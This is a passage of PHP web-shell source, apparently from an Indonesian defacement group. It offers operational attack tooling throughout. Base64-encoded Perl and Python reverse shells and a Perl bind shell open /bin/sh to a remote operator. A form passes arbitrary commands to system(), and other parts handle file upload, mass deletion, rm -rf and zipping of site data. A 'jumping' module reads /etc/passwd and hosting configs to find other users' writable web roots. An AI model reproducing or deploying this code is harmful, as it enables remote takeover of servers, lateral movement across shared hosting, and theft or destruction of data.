value=\'submit\'>\r\n\t</div>\r\n<h5>Back-Connect</h5>\r\n\t<u>Server :</u>\r\n\t\t<input class=\'form-control btn-sm\' type=\'text\' name=\'server\' placeholder=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'>\r\n\t<u>Port :</u>\r\n\t<div class=\'input-group\'>\r\n\t\t<input class=\'form-control btn-sm\' type=\'text\' name=\'port\' placeholder=\'6969\'>\r\n\t\t<select class=\'form-control btn-sm\' name=\'bc\'>\r\n\t\t\t<option value=\'perl\'>perl</option>\r\n\t\t\t<option value=\'python\'>python</option>\r\n\t\t</select>\r\n\t</div>\r\n<input class=\'btn btn-outline-light btn-block btn-sm\' type=\'submit\' value=\'submit\'>\r\n</form>";\r\nif($_POST[\'bpl\']){\r\n\t$bp = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=");\r\n\t$brt = @fopen(\'bp.pl\',\'w\');\r\n\tfwrite($brt,$bp);\r\n\t$out = exe("perl bp.pl ".$_POST[\'port\']." 1>/dev/null 2>&1 &");\r\n\tsleep(1);\r\n\techo "<pre class=\'pre\'>$out\\n".exe("ps aux | grep bp.pl")."</pre>";\r\n\tunlink("bp.pl");\r\n}\r\nif($_POST[\'bc\'] == \'perl\'){\r\n\t$bc = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7");\r\n\t$plbc = @fopen(\'bc.pl\',\'w\');\r\n\tfwrite($plbc,$bc);\r\n\t$out = exe("perl bc.pl ".$_POST[\'server\']." ".$_POST[\'port\']." 1>/dev/null 2>&1 &");\r\n\tsleep(1);\r\n\tprint "<pre class=\'pre\'>$out\\n".exe("ps aux | grep bc.pl")."</pre>";\r\n\tunlink("bc.pl");\r\n}\r\nif($_POST[\'bc\'] == \'python\'){\r\n\t$bc_py = base64_decode("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBNci54QmFyYWt1ZGFcblRoYW5rcyBHb29nbGUgRm9yIFJlZmVyZW5zaVxuXG4nJycpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMCkNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDIpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMykNCiAgICBzaGVsbCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ0KICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6DQogICAgcHJpbnQgIlRpbU91dCINCiAgZXhjZXB0IHNvY2tldC5lcnJvciwgZToNCiAgICBwcmludCAiRXJyb3IiLCBlDQpweWJhY2tjb25uZWN0KCk=");\r\n\t$pbc_py = @fopen(\'bcpy.py\',\'w\');\r\n\tfwrite($pbc_py,$bc_py);\r\n\t$out_py = exe("python bcpy.py ".$_POST[\'server\']." ".$_POST[\'port\']);\r\n\tsleep(1);\r\n\tprint "<pre class=\'pre\'>$out_py\\n".exe("ps aux | grep bcpy.py")."</pre>";\r\n\tunlink("bcpy.py");\r\n\t}\r\n}\r\n// phpinfo \r\nif($nana[\'id\'] == \'phpinfo\'){\r\n\t@ob_start();\r\n\t@eval("phpinfo();");\r\n\t$buff = @ob_get_contents();\r\n\t@ob_end_clean();\t\r\n\t$awal = strpos($buff,"<body>")+6;\r\n\t$akhir = strpos($buff,"</body>");\r\n\tprint "<pre class=\'php_info\'>".substr($buff,$awal,$akhir-$awal)."</pre>";\r\n\texit;\r\n}\r\n// cmd\r\nif($nana[\'id\'] == \'cmd\') {\r\ns();\r\nif($nana[\'ekseCMD\']) {\r\n$result = $nana[\'ekseCMD\'];\r\nprint "<div class=\'shell bg-dark\'>\r\n<pre class=\'pre text-light\'><b>KarawangCyberTeam<cmd>@</cmd>cmd#:~</b> <cmd>$result</cmd><br>";\r\n\tsystem($nana[\'ekseCMD\'].\' 2>&1\');\r\n\tprint "</pre></div>";\r\n}\r\nprint "\r\n<form action=\'?dir=$path&id=cmd\' method=\'POST\'>\r\n\t<div class=\'input-group\'>\r\n\t\t<div class=\'input-group-text\'><i class=\'bi bi-terminal\'></i></div><input class=\'form-control form-control-sm\' type=\'text\' name=\'ekseCMD\' value=\'$result\'>\r\n\t</div>\r\n</form>";\r\n// upload\r\n} if($nana[\'id\'] == \'upload\'){\r\nif(isset($_FILES[\'file\'])){\r\nif(copy($_FILES[\'file\'][\'tmp_name\'],$dir.\'/\'.$_FILES[\'file\'][\'name\'])){\r\nprint \'<strong>Upload</strong> ok! \'.alt_ok().\'</div>\';\r\n}else{\r\nprint \'<strong>Upload</strong> fail! \'.alt_fail().\'</div>\';\r\n}\r\n\t}\r\ns();\r\nprint "\r\n<form action=\'?dir=$path&id=upload\' method=\'POST\' enctype=\'multipart/form-data\'>\r\n\t<div class=\'input-group mb-3\'>\r\n\t\t<input class=\'form-control form-control-sm\' type=\'file\' name=\'file\'>\r\n\t\t<button class=\'btn btn-outline-light btn-sm\' type=\'submit\'><i class=\'bi bi-arrow-return-right\'></i></button>\r\n\t</div>\r\n</form>";\r\n}\r\n// mass delete #indoxploit\r\nif($nana[\'id\'] == \'delete\'){\r\nfunction hapus_massal($dir,$namafile) {\r\n\tif(is_writable($dir)) {\r\n\t\t$dira = scandir($dir);\r\n\t\tforeach($dira as $dirb) {\r\n\t\t\t$dirc = "$dir/$dirb";\r\n\t\t\t$▚ = $dirc.\'/\'.$namafile;\r\n\t\t\tif($dirb === \'.\') {\r\n\t\t\t\tif(file_exists("$dir/$namafile")) {\r\n\t\t\t\t\tunlink("$dir/$namafile");\r\n\t\t\t\t}\r\n\t\t\t} elseif($dirb === \'..\') {\r\n\t\t\t\tif(file_exists("".dirname($dir)."/$namafile")) {\r\n\t\t\t\t\tunlink("".dirname($dir)."/$namafile");\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\tif(is_dir($dirc)) {\r\n\t\t\t\t\tif(is_writable($dirc)) {\r\n\t\t\t\t\t\tif(file_exists($▚)) {\r\n\t\t\t\t\t\t\tprint "<pre>[<cmd>deleted</cmd>] $▚</pre>";\r\n\t\t\t\t\t\t\tunlink($▚);\r\n\t\t\t\t\t\t\t$▟ = hapus_massal($dirc,$namafile);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n} if($nana[\'start\']) {\r\nprint "<div style=\'margin: 5px auto; padding: 5px\'>";\r\n\thapus_massal($nana[\'d_dir\'], $nana[\'d_file\']);\r\nprint "</div>";\r\n} else {\r\ns();\r\nprint "\r\n<form action=\'?dir=$path&id=delete\' method=\'POST\'>\r\n\t<b><i class=\'bi bi-folder\'></i> Directory:</b>\r\n\t<input class=\'form-control btn-sm\' type=\'text\' name=\'d_dir\' value=\'$dir\'>\r\n\t<b><i class=\'bi bi-file-earmark\'></i> File name:</b>\r\n\t<div class=\'input-group mb-3\'>\r\n\t<input class=\'form-control btn-sm\' type=\'text\' name=\'d_file\' placeholder=\'name file\'>\r\n\t<input class=\'btn btn-outline-light btn-sm\' type=\'submit\' name=\'start\' value=\'Go\'>\r\n</form>\r\n\t</div>";\r\n\t\t}\r\n\t}\r\n}\r\n//zip & unzip Karawang Cyber Team\r\nif($nana[\'id\'] == \'zip\'){\r\n$exzip = basename($dir).\'.zip\';\r\nfunction Zip($source, $destination){\r\n\tif (extension_loaded(\'zip\') === true){\r\n\t\tif (file_exists($source) === true){\r\n\t\t\t$zip = new ZipArchive();\r\n\t\t\tif ($zip->open($destination, ZIPARCHIVE::CREATE) === true){\r\n\t\t\t\t$source = realpath($source);\r\n\t\t\t\tif (is_dir($source) === true){\r\n\t\t\t\t\t$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);\r\n\t\t\t\t\tforeach ($files as $file){\r\n\t\t\t\t\t\t$file = realpath($file);\r\n\t\t\t\t\t\tif (is_dir($file) === true){\r\n\t\t\t\t\t\t\t// $zip->addEmptyDir(str_replace($source . \'/\', \'\', $file . \'/\'));\r\n\t\t\t\t\t\t}elseif(is_file($file) === true){\r\n\t\t\t\t\t\t\t$zip->addFromString(str_replace($source . \'/\', \'\', $file), file_get_contents($file));\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}elseif(is_file($source) === true){\r\n\t\t\t\t\t$zip->addFromString(basename($source), file_get_contents($source));\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\treturn @$zip->close();\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n//Extract/Unzip\r\nfunction Zip_Extrack($zip_files, $to_dir){\r\n\t$zip = new ZipArchive();\r\n\t$res = $zip->open($zip_files);\r\n\tif ($res === TRUE){\r\n\t\t$name = basename($zip_files, ".zip")."_unzip";\r\n\t\t@mkdir($name);\r\n\t\t@$zip->extractTo($to_dir."/".$name);  \r\n\t\treturn @$zip->close();\r\n\t}else{\r\n\t\treturn false;\r\n\t}\r\n}\r\ns();\r\nprint "\r\n<div class=\'container\'>\r\n\t<div class=\'card text-dark\'>\r\n\t\t<div class=\'card-header\'>\r\n\t<b>Zip Menu</b>\r\n\t<form action=\'?dir=$path&id=zip\' enctype=\'multipart/form-data\' method=\'POST\'>\r\n\t\t<div class=\'input-group mb-3\'>\r\n\t\t\t<input class=\'form-control form-control-sm\' type=\'file\' name=\'zip_file\'>\r\n\t\t\t<input class=\'btn btn-dark btn-sm\' type=\'submit\' name=\'upnun\' value=\'Submit\'>\r\n\t\t</div>\r\n\t</form>";\r\n\tif($nana["upnun"]){\r\n\t\t$filename = $_FILES["zip_file"]["name"];\r\n\t\t$tmp = $_FILES["zip_file"]["tmp_name"];\r\n\t\tif(move_uploaded_file($tmp, "$dir/$filename")){\r\n\t\t\tprint Zip_Extrack($filename, $dir);\r\n\t\t\tunlink($filename);\r\nprint \'<strong>Ekstrak zip</strong> ok! \'.alt_ok().\'</div>\';\r\n\t\t}else{\r\nprint \'<strong>Ekstrak zip</strong> fail! \'.alt_fail().\'</div>\';\r\n\t\t}\r\n\t}\r\nprint "\r\n<b>Zip backup</b>\r\n<form action=\'?dir=$path&id=zip\' method=\'POST\'>\r\n\t<label>location:</label>\r\n\t<div class=\'input-group mb-3\'>\r\n\t\t<input class=\'form-control form-control-sm\' type=\'text\' name=\'folder\' value=\'$dir\'>\r\n\t\t<input class=\'btn btn-dark btn-sm\' type=\'submit\' name=\'backup\' value=\'Submit\'>\r\n\t</div>\r\n</form>";\r\n\tif($nana[\'backup\']){\r\n\t\t$fol = $nana[\'folder\'];\r\n\t\tif(Zip($fol, $nana["folder"].\'/\'.$exzip)){\r\nprint \'<strong>Created Zip</strong> ok! \'.alt_ok().\'</div>\';;\r\n\t\t}else{\r\nprint \'<strong>Created Zip</strong> fail! \'.alt_ok().\'</div>\';\r\n\t\t}\r\n\t}\r\nprint "\r\n<b>Unzip manual</b>\r\n\t<form action=\'?dir=$path&id=zip\' method=\'POST\'>\r\n\t\t<label>location:</label>\r\n\t\t\t<div class=\'input-group mb-3\'>\r\n\t\t\t<input class=\'form-control form-control-sm\' type=\'text\' name=\'file_zip\' value=\'$dir/$exzip\'>\r\n\t\t\t<input class=\'btn btn-dark btn-sm\' type=\'submit\' name=\'extrak\' value=\'Submit\'>\r\n\t\t</div>\r\n\t</form>\r\n\t</div>\r\n</div>\r\n</div>\r\n<br/>";\r\n\tif($nana[\'extrak\']){\r\n\t\t$zip = $nana["file_zip"];\r\n\t\tif (Zip_Extrack($zip, $dir)){\r\nprint \'<strong>Ekstrak zip</strong> ok! \'.alt_ok().\'</div>\';\r\n\t\t}else{\r\nprint \'<strong>Ekstrak zip</strong> fail! \'.alt_fail().\'</div>\';\r\n\t\t}\r\n\t}\r\n}\r\n// jumping #Karawang Cyber Team\r\nif($nana[\'id\'] == \'jumping\') {\r\ns();\r\n\t$i = 0;\r\nprint "\r\n<div class=\'container\'>\r\n\t<div class=\'card text-dark\'>\r\n\t<div class=\'card-header\'>";\r\n\tif(preg_match("/hsphere/", $dir)) {\r\n\t\t$urls = explode("\\r\\n", $nana[\'url\']);\r\n\t\tif(isset($nana[\'jump\'])) {\r\n\t\t\tprint "<pre>";\r\n\t\t\tforeach($urls as $url) {\r\n\t\t\t\t$url = str_replace(array("https://","www."), "", strtolower($url));\r\n\t\t\t\t$etc = "/etc/passwd";\r\n\t\t\t\t$f = fopen($etc,"r");\r\n\t\t\t\twhile($gets = fgets($f)) {\r\n\t\t\t\t\t$pecah = explode(":", $gets);\r\n\t\t\t\t\t$user = $pecah[0];\r\n\t\t\t\t\t$dir_user = "/hsphere/local/home/$user";\r\n\t\t\t\t\tif(is_dir($dir_user) === true) {\r\n\t\t\t\t\t\t$url_user = $dir_user."/".$url;\r\n\t\t\t\t\t\tif(is_readable($url_user)) {\r\n\t\t\t\t\t\t\t$i++;\r\n\t\t\t\t\t\t\t$jrw = "[<cmd>R</cmd>] <a class=\'text-decoration-none\' onclick=\'c(\\"?dir=$url_user\\")\'>$url_user</a>";\r\n\t\t\t\t\t\t\tif(is_writable($url_user)) {\r\n\t\t\t\t\t\t\t\t$jrw = "[<cmd>RW</cmd>] <a class=\'text-decoration-none\' onclick=\'c(\\"?dir=$url_user\\")\'>$url_user</a>";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tprint $jrw."<br>";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\tif($i == 0) { \r\n\t\t} else {\r\n\t\t\tprint "<br>Totally available $i from ip ".gethostbyname($_SERVER[\'HTTP_HOST\']);\r\n\t\t}\r\n\t\tprint "</pre>";\r\n} else {\r\nprint "\r\n<div class=\'text-center\'>\r\n\t<form action=\'?dir=$path&id=jumping\' method=\'POST\'>\r\n\t<b>List Domains:</b><br>\r\n\t\t<textarea class=\'form-control btn-sm\' rows=\'10\' name=\'url\'>";\r\n\t\t\t$fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");\r\n\t\t\t\twhile($getss = fgets($fp)) {\r\n\t\t\t\tprint $getss;\r\n\t\t\t\t}\r\n\t\tprint  \'</textarea><br>\r\n\t\t<input class="btn btn-outline-light btn-sm btn-block" type="submit" name="jump" value="Jumping">\r\n\t</form>\r\n</div>\';\r\n\t\t}\r\n\t} elseif(preg_match("/vhosts|vhost/", $dir)) {\r\n\t\tpreg_match("/\\/var\\/www\\/(.*?)\\//", $dir, $vh);\r\n\t\t$urls = explode("\\r\\n", $nana[\'url\']);\r\n\t\tif(isset($nana[\'jump\'])) {\r\n\t\t\tprint "<pre>";\r\n\t\t\tforeach($urls as $url) {\r\n\t\t\t\t$url = str_replace("www.", "", $url);\r\n\t\t\t\t$web_vh = "/var/www/".$vh[1]."/$url/httpdocs";\r\n\t\t\t\tif(is_dir($web_vh) === true) {\r\n\t\t\t\t\tif(is_readable($web_vh)) {\r\n\t\t\t\t\t\t$i++;\r\n\t\t\t\t\t\t$jrw = "[<cmd>R</cmd>] <a class=\'text-decoration-none\' onclick=\'c(\\"?dir=$web_vh\\")\'>$web_vh</a>";\r\n\t\t\t\t\t\tif(is_writable($web_vh)) {\r\n\t\t\t\t\t\t\t$jrw = "[<cmd>RW</cmd>] <a class=\'text-decoration-none\' onclick=\'c(\\"?dir=$web_vh\\")\'>$web_vh</a>";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tprint $jrw."<br>";\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\tif($i == 0) { \r\n\t\t} else {\r\n\t\t\tprint "<br>Totally available $i from ip ".gethostbyname($_SERVER[\'HTTP_HOST\']);\r\n\t\t}\r\n\tprint "</pre>";\r\n} else {\r\nprint "\r\n<div class=\'text-center\'>\r\n\t<form action=\'?dir=$path&id=jumping\' method=\'POST\'>\r\n\t<b>List Domains:</b> <br>\r\n\t\t<textarea class=\'form-control btn-sm\' rows=\'10\' name=\'url\'>";\r\n\t\t\tbing("ip:".gethostbyname($_SERVER[\'HTTP_HOST\'])."");\r\n\t\tprint  \'</textarea><br>\r\n\t\t<input class="btn btn-outline-light btn-sm btn-block" type="submit" name="jump" value="Jumping">\r\n\t</form>\r\n</div>\';\r\n\t\t}\r\n\t} else {\r\n\t\tprint "<pre>";\r\n\t\t$etc = fopen("/etc/passwd", "r") or print("<rd>Can\'t read /etc/passwd</rd>");\r\n\t\twhile($passwd = fgets($etc)) {\r\n\t\t\tif($passwd == \'\' || !$etc) {\r\n\t\t\t\tprint "<rd>Can\'t read /etc/passwd</rd>";\r\n\t\t\t} else {\r\n\t\t\t\tpreg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);\r\n\t\t\t\tforeach($user_jumping[1] as $user_idx_jump) {\r\n\t\t\t\t\t$user_jumping_dir = "/home/$user_idx_jump/public_html";\r\n\t\t\t\t\tif(is_readable($user_jumping_dir)) {\r\n\t\t\t\t\t\t$i++;\r\n\t\t\t\t\t\t$jrw = "[<cmd>R</cmd>] <a class=\'text-decoration-none\' onclick=\'c(\\"?dir=$user_jumping_dir\\")\'>$user_jumping_dir</a>";\r\n\t\t\t\t\t\tif(is_writable($user_jumping_dir)) {\r\n\t\t\t\t\t\t\t$jrw = "[<cmd>RW</cmd>] <a class=\'text-decoration-none\' onclick=\'c(\\"?dir=$user_jumping_dir\\")\'>$user_jumping_dir</a>";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tprint $jrw;\r\n\t\t\t\t\t\tif(function_exists(\'posix_getpwuid\')) {\r\n\t\t\t\t\t\t\t$domain_jump = file_get_contents("/etc/named.conf");\t\r\n\t\t\t\t\t\t\tif($domain_jump == \'\') {\r\n\t\t\t\t\t\t\t\tprint " => ( <rd>can\'t get the domain name</rd> )<br>";\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\tpreg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);\r\n\t\t\t\t\t\t\t\tforeach($domains_jump[1] as $dj) {\r\n\t\t\t\t\t\t\t\t\t$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));\r\n\t\t\t\t\t\t\t\t\t$user_jumping_url = $user_jumping_url[\'name\'];\r\n\t\t\t\t\t\t\t\t\tif($user_jumping_url == $user_idx_jump) {\r\n\t\t\t\t\t\t\t\t\t\tprint " => ( <u>$dj</u> )<br>";\r\n\t\t\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\tprint "<br>";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif($i == 0) { \r\n\t\t} else {\r\n\t\t\tprint "<br>Totally available $i from ip ".gethostbyname($_SERVER[\'HTTP_HOST\']);\r\n\t\t}\r\n\t\tprint "</pre>";\r\n\t}\r\n\tprint "</div>\r\n\t</div>\r\n</div><br/>";\r\n}\r\n//openfile\r\nif(isset($nana[\'opn\'])) {\r\n\t$file = $nana[\'opn\'];\r\n}\t\r\n// view\r\nif($nana[\'action\'] == \'view\') {\r\ns();\r\nprint "\r\n<div class=\'btn-group\'>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=view&opn=$file\\")\'><i class=\'bi bi-eye-fill\'></i></a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=edit&opn=$file\\")\'><i class=\'bi bi-pencil-square\'></i></a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=rename&opn=$file\\")\'><i class=\'bi bi-pencil-fill\'></i></a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=delete_file&opn=$file\\")\'><i class=\'bi bi-trash-fill\'></i></a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=download&opn=$file\\")\'><i class=\'bi bi-download\'></i></a>\r\n</div>\r\n<br>\r\n\t<b><i class=\'bi bi-file-earmark\'></i>:&nbsp;".basename($file)."</b>\r\n</br>\r\n<textarea class=\'form-control btn-sm\' rows=\'10\' disabled=\'\'>".htmlspecialchars(file_get_contents($file))."</textarea><br/>";\r\n}\r\n// edit\r\nif(isset($nana[\'edit_file\'])) {\r\n\t$updt = fopen("$file", "w");\r\n\t$hasil = fwrite($updt, $nana[\'isi\']);\t\t\r\n\tif ($hasil) {\r\nprint \'<strong>Edit file</strong> ok! \'.alt_ok().\'</div>\';\r\n\t}else{\r\nprint \'<strong>Edit file</strong> fail! \'.alt_fail().\'</div>\';\r\n\t}\r\n}\r\nif($nana[\'action\'] == \'edit\') {\r\ns();\r\nprint "\r\n<div class=\'btn-group\'>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=view&opn=$file\\")\'><i class=\'bi bi-eye-fill\'></i></a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=edit&opn=$file\\")\'><i class=\'bi bi-pencil-square\'></i></a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=rename&opn=$file\\")\'><i class=\'bi bi-pencil-fill\'></i></a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=delete_file&opn=$file\\")\'><i class=\'bi bi-trash-fill\'></i></a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=download&opn=$file\\")\'><i class=\'bi bi-download\'></i></a>\r\n</div>\r\n<br>\r\n\t<b><i class=\'bi bi-file-earmark\'></i>:&nbsp;".basename($file)."</b>\r\n</br>\r\n<form action=\'?dir=$path&action=edit&opn=$file\' method=\'POST\'>\r\n\t<textarea class=\'form-control btn-sm\' rows=\'10\' name=\'isi\'>".htmlspecialchars(file_get_contents($file))."</textarea>\r\n\t<br/>\r\n\t<button class=\'btn btn-outline-light btn-sm btn-block\' type=\'sumbit\' name=\'edit_file\'><i class=\'bi bi-arrow-return-right\'></i></button>\r\n</form>";\r\n}\r\n//rename folder\r\nif($nana[\'action\'] == \'rename_folder\') {\r\n\tif($nana[\'r_d\']) {\r\n\t\t$r_d = rename($dir, "".dirname($dir)."/".htmlspecialchars($nana[\'r_d\'])."");\r\n\t\tif($r_d) {\r\nprint \'<strong>Rename folder</strong> ok! \'.alt_ok().\'<a class="btn-close" href="?path=\'.dirname($dir).\'"></a></div>\';\r\n\t\t}else{\r\nprint \'<strong>Rename folder</strong> fail! \'.alt_fail().\'<a class="btn-close" href="?path=\'.dirname($dir).\'"></a></div>\';\r\n\t\t}\r\n\t}\r\ns();\r\nprint "\r\n<div class=\'btn-group\'>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=rename_folder\\")\'><i class=\'bi bi-pencil-fill\'></i></a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=delete_folder\\")\'><i class=\'bi bi-trash-fill\'></i></a>\r\n</div>\r\n<br>\r\n\t<b><i class=\'bi bi-folder-fill\'></i>:&nbsp;".basename($dir)."</b>\r\n</br>\r\n<form action=\'?dir=$path&action=rename_folder\' method=\'POST\'>\r\n<div class=\'input-group\'>\r\n\t<input class=\'form-control btn-sm\' type=\'text\' value=\'".basename($dir)."\' name=\'r_d\'>\r\n\t<button class=\'btn btn-outline-light btn-sm\' type=\'submit\'><i class=\'bi bi-arrow-return-right\'></i></button>\r\n</div>\r\n</form>";\r\n}\r\n//rename file\r\nif(isset($nana[\'r_f\'])) {\r\n\t$old = $file;\r\n\t$new = $nana[\'new_name\'];\r\n\trename($new, $old);\r\n\tif(file_exists($new)) {\r\nprint \'<div class="alert alert-warning alert-dismissible fade show my-3" role="alert">\r\n\t<strong>Rename file</strong> name already in use! <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>\r\n</div>\';\r\n\t}else{\r\nif(rename($old, $new)) {\r\nprint \'<strong>Rename file</strong> ok! \'.alt_ok().\'</div>\';\r\n\t}else{\r\nprint \'<strong>Rename file</strong> fail! \'.alt_fail().\'</div>\';\r\n\t\t}\r\n\t}\r\n}\r\nif($nana[\'action\'] == \'rename\') {\r\ns();\r\nprint "\r\n<div class=\'btn-group\'>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=view&opn=$file\\")\'><i class=\'bi bi-eye-fill\'></i></a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=edit&opn=$file\\")\'><i class=\'bi bi-pencil-square\'></i></a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=rename&opn=$file\\")\'><i class=\'bi bi-pencil-fill\'></i></a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=delete_file&opn=$file\\")\'><i class=\'bi bi-trash-fill\'></i></a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&action=download&opn=$file\\")\'><i class=\'bi bi-download\'></i></a>\r\n</div>\r\n<br>\r\n\t<b><i class=\'bi bi-file-earmark\'></i>:&nbsp;".basename($file)."</b>\r\n</br>\r\n<form action=\'?dir=$path&action=rename&opn=$file\' method=\'POST\'>\r\n<div class=\'input-group\'>\r\n\t<input class=\'form-control btn-sm\' type=\'text\' name=\'new_name\' value=\'".basename($file)."\'>\r\n\t<button class=\'btn btn-outline-light btn-sm\' type=\'sumbit\' name=\'r_f\'><i class=\'bi bi-arrow-return-right\'></i></button>\r\n</div>\r\n</form>";\r\n}\r\n//delete file\r\nif ($nana[\'action\'] == \'delete_file\') {\r\n\t$delete = unlink($file);\r\n\tif ($delete) {\r\nprint \'<strong>Delete file</strong> ok! \'.alt_ok().\'</div>\';\r\n\t}else{\r\nprint \'<strong>Delete file</strong> fail! \'.alt_fail().\'</div>\';\r\n\t}\r\n}\r\n//delete folder\r\nif ($nana[\'action\'] == \'delete_folder\' ) {\r\n\tif(is_dir($dir)) {\r\n\tif(is_writable($dir)) {\r\n\t\t@rmdir($dir);\r\n\t\t@exe("rm -rf $dir");\r\n\t\t@exe("rmdir /s /q $dir");\r\nprint \'<strong>Delete folder</strong> ok! 